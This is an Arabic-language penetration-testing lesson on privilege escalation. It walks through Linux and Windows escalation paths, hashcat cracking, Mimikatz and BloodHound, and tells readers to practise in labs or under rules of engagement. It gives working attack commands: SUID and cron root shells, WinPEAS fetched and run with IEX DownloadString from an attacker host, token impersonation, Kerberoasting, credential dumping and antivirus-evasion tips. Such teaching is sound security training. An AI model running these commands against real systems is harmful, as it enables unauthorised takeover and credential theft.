إنتقل إلى المحتوى الرئيسي

تصعيد الصلاحيات — المفاهيم

لديك وصول. جيد. لكن حساب user لا يساوي حساب root أو SYSTEM أو admin de domaine. هذا الأسبوع، ننتقل من "لدي shell" إلى "أنا سيد الآلة". بدون هذا، بقية اختبار الاختراق مجرد مسرحية.

الإطار

تُمارَس عمليات تصعيد الصلاحيات على أجهزة المختبر الافتراضية (Metasploitable 2/3، HackTheBox retired boxes، VulnHub)، أو في مهمة تحت RoE. تشغيل mimikatz على جهاز لا يُفترض أن تلمسه هو جريمة فدرالية في عدة دول.

ما ستتقنه بعد هذا الدرس​

  • استخدام linpeas وwinpeas دون الغرق في مخرجاتهما.
  • التعرف على خمسة مسارات Linux كلاسيكية: sudo، SUID، cron، capabilities، kernel exploits.
  • التعرف على أربعة مسارات Windows كلاسيكية: خدمات سيئة الـ ACL، DLL hijacking، سرقة tokens، Kerberoasting.
  • كسر hashes دون اتصال بـ hashcat (صيغ NTLM، sha512crypt، kerberos-tgs).
  • استخدام Mimikatz بشكل نظيف، وفهم لماذا يخيف بقدر ما يُسعد.
  • كتابة محضر تصعيد له قيمة في التقرير.

1. المنطق المشترك​

يتبع تصعيد الصلاحيات ثلاثة أسئلة منهجية:

  1. "ما الذي يحق لي فعله بهذا الحساب؟" — id، whoami، sudo -l، whoami /priv.
  2. "ما الذي يفعله النظام، بصفته مميّزًا، ويمكنني التأثير فيه؟" — cron خاص بـ root، مهمة مجدولة SYSTEM، خدمة تُحمّل DLL.
  3. "ما الموجود في الذاكرة، وهل يمكنني لمسه؟" — LSASS على Windows، /proc/*/environ على Linux، أسرار التطبيقات.

هذه الأسئلة الثلاثة، في حلقة متكررة، على أي هدف. الباقي مجرد مهارة تطبيقية.


2. Linux — المسارات الكلاسيكية الخمسة​

2.1. sudo -l — الباب المفتوح على مصراعيه​

sudo -l

مخرجات نموذجية:

User bob may run the following commands on this host:
(root) NOPASSWD: /usr/bin/vim

هذا تصعيد فوري. sudo vim بصفة root، ثم داخل vim:

:!bash

shell بصلاحيات root. انتهى الأمر. أي أمر تفاعلي قادر على shell-out يعطي نفس النتيجة: less، more، awk، find، nmap (النسخ القديمة)، perl، python، ruby.

مرجع يجب معرفته: GTFOBins. قاعدة بيانات لثنائيات تفتح، عند سوء ضبطها في sudo، shell بصلاحيات root.

2.2. SUID سيئة الإعداد​

بت SUID (s بدل x) يجعل الملف يُنفَّذ بصلاحيات مالكه — غالبًا root.

find / -perm -4000 -type f 2>/dev/null

مخرجات كلاسيكية (Metasploitable 2):

/usr/bin/nmap
/usr/bin/python
/usr/bin/rlogin
/bin/mount
/bin/su

nmap بصلاحية SUID root في النسخ القديمة يقبل وضعًا تفاعليًا يقوم بـ shell-out. python بصلاحية SUID root يعني shell بصلاحيات root في سطر واحد:

/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'

GTFOBins يسرد الحيل لكل ثنائي. راجعها قبل أن تخترع طريقتك الخاصة.

2.3. Cron بمسارات نسبية​

cat /etc/crontab
ls -la /etc/cron.d/

مخرجات محتملة:

* * * * *   root   backup.sh

إذا كان backup.sh في مجلد ضمن $PATH يمكنك أنت تعديله — أو إذا كان /etc/crontab يذكر backup.sh دون مسار مطلق — تضع نسختك المفخخة من backup.sh وتنتظر الدقيقة التالية.

نسخة بمسار مطلق لكن سكربت قابل للكتابة:

ls -la /opt/backup/run.sh
-rwxrwxr-x root root run.sh

الكتابة من طرف المجموعة = فرصة ذهبية. أضف:

echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> /opt/backup/run.sh

بعد دقيقة:

/tmp/rootbash -p
whoami
# root

2.4. Capabilities​

الـ file capabilities على Linux (man 7 capabilities) تمنح صلاحيات دقيقة. بعضها خطير:

getcap -r / 2>/dev/null

مثال على المخرجات:

/usr/bin/python3.10 = cap_setuid+ep

cap_setuid على Python يعني أن Python يمكنه استدعاء setuid(0) دون أن يكون root في الأصل. مسار التصعيد:

python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'

capabilities هجومية أخرى: cap_dac_read_search (قراءة كل شيء، بما في ذلك /etc/shadow)، cap_sys_admin (تقريبًا كل شيء).

2.5. ثغرات النواة​

عندما يفشل كل شيء آخر، تبقى النواة. تحقق من الإصدار:

uname -a
cat /etc/os-release

ثم ابحث:

searchsploit "linux kernel <version>"

على نواة 2.6.24 كما في Metasploitable 2، توجد ثغرات بكثرة (Dirty Cow، sock_diag_handlers، perf_swevent). على نواة حديثة، العكس — ثغرات النواة نادرة ومكلفة.

تنبيه: ثغرة نواة تُعطّل النظام في حالة واحدة من كل خمس. في مهمة عند عميل، أبدًا دون تصريح صريح ضمن RoE، وأبدًا خلال ساعات العمل.

2.6. LinPEAS — أداة الجرد​

linpeas.sh يفحص النقاط أعلاه وأكثر بكثير. نتيجة خلال 3 إلى 5 دقائق.

# من Kali، اخدمه
python3 -m http.server 8000

# على الهدف
wget http://10.10.10.5:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -a | tee /tmp/linpeas.out

سطر رئيسي في المخرجات:

[+] Interesting files/paths owned by me
[+] Files with SUID bit
[+] Sudo version
[+] Kernel exploits (linux-exploit-suggester)

LinPEAS يسرد، لا يقيّم. سطر [+] SUID: /usr/bin/passwd نتيجة إيجابية كاذبة — من الطبيعي أن يكون passwd مزودًا بـ SUID. أنت من يقوم بالتصفية يدويًا.


3. Windows — المسارات الكلاسيكية الأربعة​

3.1. خدمات سيئة الـ ACL​

# في PowerShell على الهدف
Get-Service | Where-Object {$_.StartType -eq 'Automatic'}

# لكل خدمة، تحقق من ACL الخاصة بالثنائي
$svcs = Get-CimInstance Win32_Service
foreach ($s in $svcs) {
$path = $s.PathName -replace '"' -replace ' .*'
if (Test-Path $path) {
(Get-Acl $path).Access | Where-Object { $_.IdentityReference -match "Everyone|Users|Authenticated" }
}
}

إذا كانت خدمة تعمل بصلاحية LocalSystem وثنائيها قابل للتعديل من طرف Users، تستبدل الثنائي بحمولتك، تعيد تشغيل الخدمة، ويسقط SYSTEM.

3.2. DLL hijacking​

ملف تنفيذي يُحمّل DLL بالاسم (kernel32.dll، mydll.dll) دون مسار مطلق. يبحث Windows بالترتيب: مجلد الملف التنفيذي، System32، SysWOW64، PATH.

إذا كان أحد مجلدات البحث قابلًا للكتابة من طرفك وكان التطبيق يعمل بصلاحية admin، تضع mydll.dll مفخخة وتنتظر.

الكشف باستخدام procmon: صفِّ على NAME NOT FOUND + .dll أثناء إقلاع التطبيق.

3.3. سرقة Tokens​

على Windows، عندما يسجّل admin دخوله (حتى عبر RDP)، يبقى رمز وصوله (jeton d'accès) حاضرًا في الذاكرة. يمكن لعملية بصلاحية SYSTEM أن تنتحل هذا الرمز (impersonate) وتصبح ذلك الـ admin.

من Meterpreter:

meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "ACME\admin"
meterpreter > getuid
Server username: ACME\admin

أصبحت admin de domaine، دون أن ترى كلمة مروره.

3.4. Kerberoasting​

على Active Directory، لكل compte de service (svc_sql، svc_backup) اسم Service Principal Name (SPN). يمكن لأي مستخدم مصادَق عليه طلب تذكرة Kerberos (TGS) مُشفّرة بواسطة hash كلمة مرور الحساب. يمكن كسر هذه التذكرة دون اتصال.

# من Kali، باستخدام impacket
impacket-GetUserSPNs -request -dc-ip 192.168.100.10 acme.local/user:password

المخرجات: تذاكر جاهزة للكسر بواسطة hashcat -m 13100. غالبًا ما تحمل حسابات الخدمة كلمة مرور ضعيفة (وُضعت قبل 10 سنوات ولم تُغيَّر قط).

هذا هو الهجوم رقم 1 على AD في 2026. الـ RSSI العادي لا يعرفه.

3.5. WinPEAS​

المكافئ لـ LinPEAS على Windows. على الهدف:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.5:8000/winPEAS.ps1')

مخرجات نموذجية: عشرات الآلاف من الأسطر. صفِّ:

  • [+] AlwaysInstallElevated — فرصة نادرة لكن مدمّرة (msi تُثبَّت بصلاحية SYSTEM من طرف أي مستخدم).
  • [+] Unquoted Service Path — خدمات بمسار غير محاط بعلامات اقتباس ويحتوي مسافات.
  • [+] Modifiable Registry — خدمات يمكن إعادة كتابة إعداداتها.
  • [+] Autologon credentials — كلمات مرور بنص صريح في السجل (registre).
  • نتائج Potentially exploitable — تُتحقَّق واحدة تلو الأخرى.

4. كسر hashes دون اتصال​

الميزة الكبرى للكسر دون اتصال: الهدف لا يرى شيئًا. لا يُقفل أي حساب.

4.1. الصيغ الواجب معرفتها​

الصيغةالأصلوضع Hashcatالسرعة على RTX 4090
NTLMWindows محلي، hashdump-m 1000~200 GH/s
NetNTLMv2Responder/relay-m 5600~3 GH/s
Kerberos TGS-REPKerberoasting-m 13100~1 GH/s
AS-REPAS-REP roasting-m 18200~1 GH/s
sha512cryptLinux /etc/shadow حديث-m 1800~130 KH/s
bcryptتطبيقات الويب-m 3200~200 KH/s
MySQLv5+-m 300~200 GH/s

ترتيب الحجم: NTLM = سريع جدًا، bcrypt/sha512crypt = بطيء جدًا (بالتصميم).

4.2. هجمات كلاسيكية​

قاموس خام:

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

قاموس + قواعد (تنويعات: حرف كبير، رقم في النهاية، l33t):

hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

قناع — عندما تشتبه في وجود سياسة معينة:

# 8 خانات، حرف كبير في البداية، أرقام في النهاية
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d?d?d

هجوم مركّب:

# قاموسان في cross-product
hashcat -m 1000 hashes.txt -a 1 wl1.txt wl2.txt

4.3. القواعد الواجب معرفتها​

  • best64.rule — 64 قاعدة عامة. توازن جيد.
  • OneRuleToRuleThemAll.rule — 52 ألف قاعدة. طويل لكنه فعّال جدًا.
  • dive.rule — ضخم، مكثّف جدًا.

بالنسبة لسياسات الشركات، يُكتب قاعدة خاصة: Ete2025! = أساس Ete + 2025 + ! = نمط قابل للتكرار.


5. Mimikatz — الأداة التي غيّرت Windows​

كتبها Benjamin Delpy سنة 2011، كاشفةً أن Windows كان يحتفظ بكلمات المرور بنص صريح في الذاكرة (LSASS). استغرقت مايكروسوفت 5 سنوات للتفاعل. يبقى Mimikatz الأداة المرجعية لاستخراج بيانات الاعتماد على Windows.

ما يستطيع Mimikatz فعله:

  • sekurlsa::logonpasswords — يستخرج جميع كلمات مرور الجلسات النشطة.
  • sekurlsa::tickets — يستخرج تذاكر Kerberos الموجودة في الذاكرة.
  • lsadump::sam — يفرغ SAM المحلية (مثل hashdump).
  • lsadump::dcsync — ينتحل صفة متحكم بالدومين ويطلب نسخ حساب (بما في ذلك hash الخاص بـ krbtgt = Golden Ticket).
  • sekurlsa::pth — Pass-the-Hash (مصادقة بواسطة NTLM دون كلمة مرور).
  • kerberos::golden — يصنع Golden Ticket (وصول دائم على AD).

تقنيًا، يقرأ LSASS.exe (العملية التي تدير المصادقات) عبر واجهات برمجة Windows.

الكشف: يعرفه Defender عن ظهر قلب، ويُحظَر فورًا. يُلتف عليه عبر:

  • نسخة مُصرَّفة مخصَّصة (إعادة تصريف مع سلاسل نصية معدَّلة).
  • تحميل في الذاكرة عبر Invoke-Mimikatz (PowerShell).
  • بديل حديث: Rubeus (Kerberoasting، معالجة التذاكر بلغة C#)، SharpHound (جامع بيانات BloodHound).

الإطار الأخلاقي: Mimikatz على VM المختبر، نعم. Mimikatz على بيئة إنتاج عند عميل، فقط إذا سمح بذلك RoE صراحة. الأداة أداة مهاجم، وتُطلق كل الإنذارات.


6. BloodHound — خريطة الدومين​

BloodHound لا يستخرج بيانات اعتماد، بل يرسم خريطة العلاقات داخل Active Directory:

  • من هو admin على ماذا.
  • أي الحسابات يمكنها الاتصال عبر RDP بأي أجهزة.
  • أي المجموعات تضم أي مستخدمين.
  • أي GPO تُطبَّق أين.

تكشف هذه الخريطة مسارات هجوم لا يراها أحد يدويًا. مثال: "المستخدم Bob (حساب عادي) → عضو في مجموعة Marketing → مجموعة Marketing تستطيع تعديل GPO الخاصة بالخادم SRV-01 → SRV-01 هو admin de domaine".

جامع البيانات: SharpHound.exe -c All.

الواجهة: Neo4j + واجهة BloodHound الرسومية. استعلامات جاهزة: "Find Shortest Paths to Domain Admins from Owned".

في 2026، أي pentester على AD بدون BloodHound هو pentester ناقص.


7. محضر التصعيد — ما يجب أن يحتويه التقرير​

كل تصعيد يُعثَر عليه = بطاقة:

## تصعيد — <عنوان قصير>

- الحساب الأولي: <user>
- الحساب النهائي: <root / SYSTEM / Domain Admin>
- المسار (مرقّم):
1. الاكتشاف: ...
2. الاستغلال: ...
3. التأكيد: ...
- الأوامر المنفَّذة (إطار):
```
sudo -l
sudo vim -c ':!bash'
```
- الأثر على العمل: قراءة X، التحكم في Y، إمكانية الاستمرارية (persistance).
- التوصية: حذف سطر sudoers، أو التحول إلى حساب مخصَّص.

تقرير فيه 15 "تصعيدًا مكتشفًا" بدون هذه البطاقات لا يساوي شيئًا.


8. الأخطاء الواجب تجنبها​

  • رمي مخرجات LinPEAS دون أي تصفية. يرى العميل 400 سطر من الضجيج، ويتساءل ما الخطير حقًا.
  • استخدام ثغرة نواة دون تصريح. تُعطّل بيئة الإنتاج، وتتوقف المهمة هناك.
  • كسر hash واستخدامه مباشرة على البوابة بدلًا من البقاء داخليًا. تُنتج سجلات في كل مكان.
  • نسيان التنظيف. وضعت /tmp/rootbash بصلاحية SUID من أجل العرض، تذكّر حذفه قبل المغادرة.
  • عدم مراجعة GTFOBins. تخترع استغلالًا معقدًا لملف find بصلاحية SUID بينما يعطيك GTFOBins السطر الدقيق.

9. ما يجب تذكّره​

  • ثلاثة أسئلة في حلقة: صلاحياتي، ما يفعله النظام لأجلي، ما هو موجود في الذاكرة.
  • Linux: sudo -l، SUID، cron، capabilities، kernel. بهذا الترتيب من الأولوية.
  • Windows: خدمات سيئة الـ ACL، DLL hijacking، tokens، Kerberoasting.
  • Hashcat صديقك. اعرف الأوضاع الخمسة الرئيسية عن ظهر قلب.
  • Mimikatz قوي، لكنه صاخب. في 2026، فضِّل Rubeus + BloodHound.
  • تقرير تصعيد = بطاقات مرقّمة، مع أثر وعلاج.

الدرس القادم: نُنجز خمسة تصعيدات (Linux + Windows)، نرسم خريطة AD بواسطة BloodHound، ونجبر Kerberoast.